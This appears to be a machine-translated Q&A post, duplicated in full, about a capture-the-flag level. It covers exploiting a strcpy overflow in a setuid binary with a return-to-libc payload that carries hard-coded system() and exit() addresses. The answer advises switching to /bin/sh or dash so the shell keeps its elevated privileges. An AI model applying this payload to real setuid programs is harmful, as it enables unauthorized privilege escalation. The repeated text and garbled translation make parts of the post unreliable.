带有非执行堆栈的 BOF
BOF with non exec stack
我正在尝试通过此 "game" http://smashthestack.org/faq.html 的第 2 级(通过 blackbox 服务器上的 ssh 连接),其中包含基本缓冲区溢出。
在目录/home/level2(每个级别都有一个目录,其中包含一个包含该级别密码的文件)中有一个名为getowner 的可执行文件及其源代码:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *filename;
char buf[128];
if((filename = getenv("filename")) == NULL) {
printf("No filename configured!\n");
return 1;
}
while(*filename == '/')
filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);
struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);
return 0;
}
拥有可执行文件的用户是level3
level2@blackbox:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner
因此,如果我可以利用缓冲区溢出并生成 shell 作为 level3,我可以读取文件 /home/level3/password、获取密码并赢得关卡:我说得对吗?
所以
1) 我试图在环境变量中上传一个shell代码并伪造文件名变量以将堆栈中的return地址修改为shell上的return =]代码,但如您所见
level2@blackbox:~$ readelf -l getowner | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
堆栈中的代码无法执行。
2) 然后,我尝试使用 Return-to-libc 攻击和调用系统(/bin/bash),但在生成的 shell 中我仍然是 level2 用户:(
level2@blackbox:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
level2@blackbox:~$ ./getowner
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)
其中system()地址中0xb7ee59b0,exit()地址0xb7edb420,0xbffffe32字符串地址/bin/bash.
我还有其他选择还是我弄错了?
您的第二种方法是正确的,但您应该使用 /bin/sh
或(/bin/dash
如果 /bin/sh
是 /bin/bash
的符号链接)。
bash
做的第一件事就是将您的 euid
权限降为 uid
。有关详细信息,请参阅 this stackexchange 答案。
我正在尝试通过此 "game" http://smashthestack.org/faq.html 的第 2 级(通过 blackbox 服务器上的 ssh 连接),其中包含基本缓冲区溢出。
在目录/home/level2(每个级别都有一个目录,其中包含一个包含该级别密码的文件)中有一个名为getowner 的可执行文件及其源代码:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *filename;
char buf[128];
if((filename = getenv("filename")) == NULL) {
printf("No filename configured!\n");
return 1;
}
while(*filename == '/')
filename++;
strcpy(buf, "/tmp/");
strcpy(&buf[strlen(buf)], filename);
struct stat stbuf;
stat(buf, &stbuf);
printf("The owner of this file is: %d\n", stbuf.st_uid);
return 0;
}
拥有可执行文件的用户是level3
level2@blackbox:~$ ls -lisa getowner
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner
因此,如果我可以利用缓冲区溢出并生成 shell 作为 level3,我可以读取文件 /home/level3/password、获取密码并赢得关卡:我说得对吗?
所以
1) 我试图在环境变量中上传一个shell代码并伪造文件名变量以将堆栈中的return地址修改为shell上的return =]代码,但如您所见
level2@blackbox:~$ readelf -l getowner | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
堆栈中的代码无法执行。
2) 然后,我尝试使用 Return-to-libc 攻击和调用系统(/bin/bash),但在生成的 shell 中我仍然是 level2 用户:(
level2@blackbox:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"')
level2@blackbox:~$ ./getowner
The owner of this file is: -1207961948
bash-3.1$ id
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers)
其中system()地址中0xb7ee59b0,exit()地址0xb7edb420,0xbffffe32字符串地址/bin/bash.
我还有其他选择还是我弄错了?
您的第二种方法是正确的,但您应该使用 /bin/sh
或(/bin/dash
如果 /bin/sh
是 /bin/bash
的符号链接)。
bash
做的第一件事就是将您的 euid
权限降为 uid
。有关详细信息,请参阅 this stackexchange 答案。